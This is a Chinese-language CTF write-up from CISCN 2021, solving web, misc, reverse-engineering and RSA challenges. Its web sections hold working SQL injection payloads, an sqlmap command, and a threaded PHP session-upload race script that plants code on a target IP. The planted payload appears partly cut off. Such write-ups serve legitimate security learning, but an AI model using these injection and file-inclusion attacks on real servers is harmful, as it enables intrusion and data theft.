WriteUp - Maple_root -CISCN2021
总结
总得分：3400
总排名：203
赛区排名：21
第一次认真参加正式的CTF，24+3小时的脑血栓比赛时长，收获还是很多的。
开卷
WEB
easy_sql
Sqlmap -r /root/wordlist/table.txt -p uname -D security --tables
Sqlmap直接跑出两张表(flag, user)
单跑不出列名
回去找到sqlmap的payloaduname=admin') RLIKE (SELECT (CASE WHEN (7431=7431) THEN 0x61646d696e ELSE 0x28 END))-- WQuk&passwd=admin&Submit=%E7%99%BB%E5%BD%95
修改payloadAdmin’)||updatexml(1,((select * from (select * from flag as a join flag as b ) as c limit 1,1)),1)%23
爆出第一个列idAdmin’)||updatexml(1,((select * from (select * from flag as a join flag as b using(id)) as c limit 1,1)),1)%23
爆出第二个列noAdmin’)||updatexml(1,((select * from (select * from flag as a join flag as b using(id，no)) as c limit 1,1)),1)%23
爆出最后一列fec74227-42d6-4636-a0d4-92f8a913vfd6
最后查询出flag
easy_source
扫描找到.index.php.swo，得到index.php源码。
本题目没有其他代码了噢，就只有这一个文件，虽然你看到的不完全，但是你觉得我会把flag藏在哪里呢，仔细想想文件里面还有什么？
$rd());构造ReflectionMethod类遍历a-t方法的注释，payload：?ra=User&rb=a&rc=ReflectionMethod&rd=getDocComment。
其中一个方法注释中包含flag。
MISC
tiny_traffic
分析流量，导出全部http对象。
在python中使用brotli解码test和secret。
import brotli
def extract(file_name):
out = open(file_name + "_extracted", "wb")
out.write(brotli.decompress(open(file_name, "rb").read()))
out.close()
if __name__ == '__main__':
extract("secret")
extract("test")test为一个proto文件，内容为：
syntax = "proto3";
message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data dataList = 3;
int32 flag_part_plz_convert_to_hex = 4;
string flag_last_part = 5;
}
message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;
}猜测secret为PBResponse Message，使用protoc解码
$ protoc --decode=PBResponse ./test_extracted < ./secret_extracted
code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
flag_part: "e2345"
junk_data: "7af2c"
}
dataList {
flag_part: "7889b0"
junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"忽略junk_data，部分提示转换字段转为hex后拼接得到flag。
running_pixel
导出gif全部关键帧，在最后几帧发现异常白点，ps取色为rgb(233,233,233)。
因与背景色rgb(247,247,247)过于相近，怀疑存在隐写。
使用python将所有关键帧中的(233,233,233)像素点在同等大小的画布上画成黑色，每画一下保存一张关键帧。
from PIL import Image
import time
out = Image.new("L", (400,400), 255)
for i in range(1,383):
img = Image.open(f"{i}.png").convert("RGB")
for x in range(img.size[0]):
for y in range(img.size[1]):
p = img.getpixel((x,y))
if p == (233,233,233):
print(i,x,y)
out.putpixel((y,x), 0)
out.save(f"out{i}.png")
out.save(f"out{i+1}.png")从头逐一切换图片，观察到黑色像素画出flag。
第二卷
WEB
middle_source
扫描找到.listing文件，内有提示you_can_seeeeeeee_me.php，打开是一个phpinfo。
phpinfo中给出了sessions目录，利用条件竞争包含session漏洞，将PHP_SESSION_UPLOAD_PROGRESS内添加php代码并上传文件执行代码。
import time
import requests
import threading
import io
target = "http://124.71.231.151:25908/"
session_id = "bellwind"
payload = {
"cf": "../../../var/lib/php/sessions/eacadbajad/sess_{}".format(session_id),
"field": "?????",
}
event = threading.Event()
def write(session: requests.Session):
file = io.BytesIO(b'A'*1024*5)
while True:
event.wait()
response = session.post(
target,
data={
"PHP_SESSION_UPLOAD_PROGRESS": " 1.txt');?>"
},
cookies={
"PHPSESSID": session_id
},
files={
"file": ("verysafe.jpg", file)
}
)
print(response.text)
def read(session: requests.Session):
while True:
event.wait()
response = session.post(
target,
data=payload,
cookies={
"PHPSESSID": session_id
},
)
print(response.text)
if __name__ == '__main__':
sess = requests.session()
for _ in range(20):
threading.Thread(target=write, args=(sess,)).start()
for _ in range(20):
threading.Thread(target=read, args=(sess,)).start()
event.set()
while event.isSet():
time.sleep(1)
print("waiting.")经测试无法执行命令，但函数是可以用的。这里利用scandir函数列/etc目录文件，最终在/etc/icbjgbfahe/ajgfbfeedc/bfcefdfdda/icdjcdcabj/ddadebjbab下找到fl444444g，file_get_contents函数读取得到flag。
MISC
隔空传话
使用golang解码pdu信息data.txt，可知前八位flag为手机号前八位。
package main
import (
"encoding/hex"
"fmt"
"github.com/xlab/at/sms"
"io/ioutil"
"sort"
"strings"
"time"
)
func main() {
data, _ := ioutil.ReadFile("data.txt")
s := string(data)
s1 := strings.Split(s, "\r\n")[4:]
var result []*sms.Message
for _, s := range s1 {
if r := decode(s); r != nil {
result = append(result, r)
}
}
sorter := messageSorter(result)
sort.Sort(sorter)
fina := ""
for _, s := range sorter {
fina += s.Text
}
fmt.Println(fina)
}
func decode(msg string) *sms.Message {
bs, _ := hex.DecodeString(msg)
m := new(sms.Message)
_, err := m.ReadFrom(bs)
if err != nil {
return nil
}
return m
}
type messageSorter []*sms.Message
func (m messageSorter) Len() int {
return len(m)
}
func (m messageSorter) Less(i, j int) bool {
ms := []*sms.Message(m)
return time.Time(ms[i].ServiceCenterTime).Before(time.Time(ms[j].ServiceCenterTime))
}
func (m messageSorter) Swap(i, j int) {
m[i], m[j] = m[j], m[i]
}根据时间戳排序并连接数据，可发现十六进制是一张png图片。
保存为png后爆破宽高，倒转图片方向读后半段flag并连接前段flag。
RE
baby_bc
下载下来是一个baby.bc文件，需要先用clang将其编译为二进制可执行文件，然后再在IDA中将其反编译然后进行进一步分析。
先对main函数进行分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
unsigned __int64 i; // [rsp+10h] [rbp-18h]
size_t v6; // [rsp+18h] [rbp-10h]
__isoc99_scanf(&unk_403004, input, envp);
if ( (unsigned int)strlen(input) == 25 ) // 长度为25
{
if ( input[0] ) // 有输入
{
if ( (unsigned __int8)(input[0] - 48) > 5u )
return 0;
v6 = strlen(input);
for ( i = 1LL; ; ++i )
{
v4 = i;
if ( i >= v6 ) // 超出字符串长度
break;
if ( (unsigned __int8)(input[v4] - 48) > 5u )
return 0;
}
}
if ( (fill_number(input) & 1) != 0 && (docheck() & 1) != 0 )
printf("CISCN{MD5(%s)}", input);
}
return 0;
}可以看出主要的处理逻辑是在24行if语句中的fill_number和docheck当中，然后就要输出的格式为CISCN{MD5(%s)}，接着分析这两个函数
fill_number:
__int64 __fastcall fill_number(__int64 a1)
{
char v2; // [rsp+1h] [rbp-69h]
char v3; // [rsp+11h] [rbp-59h]
char v4; // [rsp+21h] [rbp-49h]
char v5; // [rsp+31h] [rbp-39h]
char v6; // [rsp+40h] [rbp-2Ah]
char v7; // [rsp+41h] [rbp-29h]
__int64 v8; // [rsp+4Ah] [rbp-20h]
__int64 v9; // [rsp+52h] [rbp-18h]
__int64 v10; // [rsp+5Ah] [rbp-10h]
v10 = 0LL;
do
{
v9 = v10;
v8 = 5 * v10;
v7 = *(_BYTE *)(a1 + 5 * v10);
if ( map[5 * v10] )
{
v6 = 0;
if ( v7 != 48 )
return v6 & 1;
}
else
{
map[5 * v10] = v7 - 48;
}
v5 = *(_BYTE *)(a1 + v8 + 1);
if ( map[5 * v10 + 1] )
{
v6 = 0;
if ( v5 != 48 )
return v6 & 1;
}
else
{
map[5 * v10 + 1] = v5 - 48;
}
v4 = *(_BYTE *)(a1 + v8 + 2);
if ( map[5 * v10 + 2] )
{
v6 = 0;
if ( v4 != 48 )
return v6 & 1;
}
else
{
map[5 * v10 + 2] = v4 - 48;
}
v3 = *(_BYTE *)(a1 + v8 + 3);
if ( map[5 * v10 + 3] )
{
v6 = 0;
if ( v3 != 48 )
return v6 & 1;
}
else
{
map[5 * v10 + 3] = v3 - 48;
}
v2 = *(_BYTE *)(a1 + v8 + 4);
if ( map[5 * v10 + 4] )
{
v6 = 0;
if ( v2 != 48 )
return v6 & 1;
}
else
{
map[5 * v10 + 4] = v2 - 48;
}
++v10;
v6 = 1;
}
while ( v9 + 1 < 5 );
return v6 & 1;
}fill_number的主要逻辑是5位5位取数以后，按给定的逻辑给各位的值减去48，但是由于题目没有给出输入的数，所以需要根据输出的值判定一开始的值，所以接着看check函数
__int64 docheck()
{
char v1; // [rsp+2Eh] [rbp-9Ah]
__int64 v2; // [rsp+30h] [rbp-98h]
__int64 v3; // [rsp+40h] [rbp-88h]
__int64 v4; // [rsp+50h] [rbp-78h]
__int64 v5; // [rsp+58h] [rbp-70h]
char *v6; // [rsp+68h] [rbp-60h]
__int64 v7; // [rsp+70h] [rbp-58h]
char v8; // [rsp+7Fh] [rbp-49h]
char *v9; // [rsp+88h] [rbp-40h]
__int64 v10; // [rsp+90h] [rbp-38h]
__int64 v11; // [rsp+98h] [rbp-30h]
__int64 v12; // [rsp+A8h] [rbp-20h]
char v13[6]; // [rsp+BCh] [rbp-Ch] BYREF
char v14[6]; // [rsp+C2h] [rbp-6h] BYREF
v12 = 0LL;
do
{
v10 = v12;
memset(v14, 0, sizeof(v14));
v9 = &v14[(unsigned __int8)map[5 * v12]];
if ( *v9
|| (*v9 = 1, v14[(unsigned __int8)map[5 * v12 + 1]])
|| (v14[(unsigned __int8)map[5 * v12 + 1]] = 1, v14[(unsigned __int8)map[5 * v12 + 2]])
|| (v14[(unsigned __int8)map[5 * v12 + 2]] = 1, v14[(unsigned __int8)map[5 * v12 + 3]])
|| (v14[(unsigned __int8)map[5 * v12 + 3]] = 1, v14[(unsigned __int8)map[5 * v12 + 4]]) )
{
v8 = 0;
return v8 & 1;
}
++v12;
}
while ( v10 + 1 < 5 );
v11 = 0LL;
while ( 1 )
{
v7 = v11;
memset(v13, 0, sizeof(v13));
v6 = &v13[(unsigned __int8)map[v11]];
if ( *v6 )
break;
*v6 = 1;
if ( v13[(unsigned __int8)byte_405055[v11]] )
break;
v13[(unsigned __int8)byte_405055[v11]] = 1;
if ( v13[(unsigned __int8)byte_40505A[v11]] )
break;
v13[(unsigned __int8)byte_40505A[v11]] = 1;
if ( v13[(unsigned __int8)byte_40505F[v11]] )
break;
v13[(unsigned __int8)byte_40505F[v11]] = 1;
if ( v13[(unsigned __int8)byte_405064[v11]] )
break;
++v11;
if ( v7 + 1 >= 5 )
{
v5 = 0LL;
while ( 1 )
{
v4 = v5;
if ( row[4 * v5] == 1 )
{
if ( (unsigned __int8)map[5 * v5] < (unsigned __int8)map[5 * v5 + 1] )
goto LABEL_27;
}
else if ( row[4 * v5] == 2 && (unsigned __int8)map[5 * v5] > (unsigned __int8)map[5 * v5 + 1] )
{
LABEL_27:
v8 = 0;
return v8 & 1;
}
if ( byte_405071[4 * v5] == 1 )
{
if ( (unsigned __int8)map[5 * v5 + 1] < (unsigned __int8)map[5 * v5 + 2] )
goto LABEL_27;
}
else if ( byte_405071[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 1] > (unsigned __int8)map[5 * v5 + 2] )
{
goto LABEL_27;
}
if ( byte_405072[4 * v5] == 1 )
{
if ( (unsigned __int8)map[5 * v5 + 2] < (unsigned __int8)map[5 * v5 + 3] )
goto LABEL_27;
}
else if ( byte_405072[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 2] > (unsigned __int8)map[5 * v5 + 3] )
{
goto LABEL_27;
}
if ( byte_405073[4 * v5] == 1 )
{
if ( (unsigned __int8)map[5 * v5 + 3] < (unsigned __int8)map[5 * v5 + 4] )
goto LABEL_27;
}
else if ( byte_405073[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 3] > (unsigned __int8)map[5 * v5 + 4] )
{
goto LABEL_27;
}
++v5;
if ( v4 + 1 >= 5 )
{
v3 = 0LL;
while ( 1 )
{
v2 = v3 + 1;
if ( col[5 * v3] == 1 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3] > (unsigned __int8)map[5 * v2] )
goto LABEL_26;
}
else if ( col[5 * v3] == 2 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3] < (unsigned __int8)map[5 * v2] )
{
LABEL_26:
v8 = v1;
return v8 & 1;
}
}
if ( byte_405091[5 * v3] == 1 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3 + 1] > (unsigned __int8)map[5 * v2 + 1] )
goto LABEL_26;
}
else if ( byte_405091[5 * v3] == 2 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3 + 1] < (unsigned __int8)map[5 * v2 + 1] )
goto LABEL_26;
}
if ( byte_405092[5 * v3] == 1 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3 + 2] > (unsigned __int8)map[5 * v2 + 2] )
goto LABEL_26;
}
else if ( byte_405092[5 * v3] == 2 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3 + 2] < (unsigned __int8)map[5 * v2 + 2] )
goto LABEL_26;
}
if ( byte_405093[5 * v3] == 1 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3 + 3] > (unsigned __int8)map[5 * v2 + 3] )
goto LABEL_26;
}
else if ( byte_405093[5 * v3] == 2 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3 + 3] < (unsigned __int8)map[5 * v2 + 3] )
goto LABEL_26;
}
if ( byte_405094[5 * v3] == 1 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3 + 4] > (unsigned __int8)map[5 * v2 + 4] )
goto LABEL_26;
}
else if ( byte_405094[5 * v3] == 2 )
{
v1 = 0;
if ( (unsigned __int8)map[5 * v3 + 4] < (unsigned __int8)map[5 * v2 + 4] )
goto LABEL_26;
}
++v3;
v1 = 1;
if ( v2 >= 4 )
goto LABEL_26;
}
}
}
}
}
v8 = 0;
return v8 & 1;
}这里值得说的就是这个使用goto LABEL实现的(个人认为是)for循环的if结构的语句，按照程序逻辑是一个求多元方程的过程，所以选择了python的z3库来解决，根据前面分析的逻辑逆向求解即可。
import hashlib
from z3 import *
zy=[0x00, 0x00, 0x00, 0x01,0x01, 0x00, 0x00, 0x00,0x02, 0x00, 0x00, 0x01,0x00, 0x00, 0x00, 0x00,0x01, 0x00, 0x01, 0x00]
sx=[0x00, 0x00, 0x02, 0x00,0x02,0x00, 0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x01, 0x00,0x00, 0x01, 0x00, 0x00, 0x01]
ts = Solver()
map = [BitVec('s%d' % i, 4) for i in range(25)]
ts.add(map[5*2+2] == 4)
ts.add(map[5*3+3] == 3)
for i in map:
ts.add(i > 0)
ts.add(i <= 5)
for a in range(5):
ts.add(
And(map[5 * a] != map[5 * a + 1],
map[5 * a] != map[5 * a + 2],
map[5 * a] != map[5 * a + 3],
map[5 * a] != map[5 * a + 4],
map[5 * a + 1] != map[5 * a + 2],
map[5 * a + 1] != map[5 * a + 3],
map[5 * a + 1] != map[5 * a + 4],
map[5 * a + 2] != map[5 * a + 3],
map[5 * a + 2] != map[5 * a + 4],
map[5 * a + 3] != map[5 * a + 4]))
for b in range(5):
ts.add(
And(map[5 * 0 + b] != map[5 * 1 + b],
map[5 * 0 + b] != map[5 * 2 + b],
map[5 * 0 + b] != map[5 * 3 + b],
map[5 * 0 + b] != map[5 * 4 + b],
map[5 * 1 + b] != map[5 * 2 + b],
map[5 * 1 + b] != map[5 * 3 + b],
map[5 * 1 + b] != map[5 * 4 + b],
map[5 * 2 + b] != map[5 * 3 + b],
map[5 * 2 + b] != map[5 * 4 + b],
map[5 * 3 + b] != map[5 * 4 + b]
))
for b in range(4):
for y in range(5):
ts.add(map[5 * b + y] != map[5 * (b + 1) + y])
for a in range(5):
for x in range(4):
if zy[4 * a + x]==1:
ts.add(map[5 * a + x] > map[5 * a + x + 1])
elif zy[4 * a + x] == 2:
ts.add(map[5 * a + x] < map[5 * a + x + 1])
for b in range(4):
for y in range(5):
if sx[5 * b + y]==1:
ts.add(map[5 * b + y] < map[5 * (b + 1) + y])
elif sx[5 * b + y] == 2 :
ts.add(map[5 * b + y] > map[5 * (b + 1) + y])
print()
while ts.check() == sat:
answer = ts.model()
condition = []
p = []
for i in map:
p += [answer[i]]
condition.append(i != answer[i])
p[5 * 2 + 2] = 0
p[5 * 3 + 3] = 0
ts.add(Or(condition))
p=[1, 4, 2, 5, 3, 5, 3, 1, 4, 2, 3, 5, 0, 2, 1, 2, 1, 5, 0, 4, 4, 2, 3, 1, 5]
l=''
for i in p:
l+=str(i)
md = hashlib.md5()
md.update(l.encode())
print('CISCN{'+md.hexdigest()+'}')第三卷
MISC
robot
下载后发现rspag文件是robotstdio的仿真文件，在WireShark中看看流量，注意到部分流量中出现了Value[193, 65, 0],这个Value属性内的数据根据题目给的提示很有可能就是整个题目的破题点。
import re
from PIL import Image
a = re.compile(r'Value\.\[(\d+),(\d+),(\d+)\]')
with open('a','r') as f:
data = f.read()
data1 = a.findall(data)
print(data1)
img = Image.new('RGB', (456, 456))
for i in data1:
tmp = (int(i[0]), int(i[1]))
img.putpixel(tmp, 255)
img.save("b.png")得到flageasy_robo_xx，对其进行md5加密之后得到解CISCN{d4f1fb80bc11ffd722861367747c0f10}
CRYPTO
RSA
计算p和q
n = 0xa188aaaf75c79219462f0ba90b68cb6e0694b113c89b8006f3a54f6374bbc0d91fb83b15866d93fd74019e1e541edce6c06c012c76f41af516f5cc89f5f9984f4e626607632edec7139e5acc4a3f3f0dd90665d469fcf7c9226fb0fe275b6b2a776dac8d032c880eec9862fc9d6480fb9cd2ce3e65867eac7e52d4462fb501eb
p = 0xda5f14bacd97f5504f39eeef22af37e8551700296843e536760cea761d334508003e01b886c0c600000000000000000000000000000000000000000000000000
k = 200
PR. = PolynomialRing(Zmod(n))
s = x + p
x0 = s.small_roots(X=2^k, beta=0.4)[0]
p = p+x0
print("p: ", hex(int(p)))
q = n/int(p)
print("q: ", hex(int(q))) 解密msg
import hashlib
import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime
from gmpy2 import *
xx = 0
yy = 2
text = []
m1 = bytes_to_long(text[:xx])
m2 = bytes_to_long(text[xx:yy])
m3 = bytes_to_long(text[yy:])
e1 = 3
p1 = getPrime(512)
q1 = getPrime(512)
N1 = p1*q1
print pow(m1,e1,N1)
print (e1,N1)
p2 = getPrime(512)
e2 = 17
e3 = 65537
q2 = getPrime(512)
N2 = p2*q2
print (e2,N2)
print (e3,N2)
print pow(m2,e2,N2)
print pow(m2,e3,N2)
p3 = getPrime(512)
q3 = getPrime(512)
N3 = p3*q3
print pow(m3,e3,N3)
print p3>>200
print (e3,N3)
n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009L
e1 = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
m1 = ""
m2 = ""
m3 = ""
for j in range(0, 130000000):
a, b = gmpy2.iroot(e1 + j * n, 3)
if b == 1:
m = a
print('x is {:x}'.format(m))
print("flag is {}".format(long_to_bytes(m)))
m1 = long_to_bytes(m)
break
n2 = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977L
e1 = 17
e2 = 65537
s = gcdext(e1, e2)
s1 = s[1]
s2 = -s[2]
c2 = 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
c1 = 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
c2 = invert(c2, n2)
m = (pow(c1,s1,n2) * pow(c2 , s2 , n2)) % n2
m2 = long_to_bytes(m)
p3 = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
q3 = 9918033198963879798362329507637256706010562962487329742400933192721549307087332482107381554368538995776396557446746866861247191248938339640876368268930589
enc3 = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
e3 = 65537
n3 = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147L
ph3 = (p3-1)*(q3-1)
d3 = gmpy2.invert(e3,ph3)
m3 = pow(enc3,d3,n3)
m3 = long_to_bytes(m3)
message = m1 + m2 + m3
md5 = hashlib.md5()
md5.update(message)
print md5.hexdigest()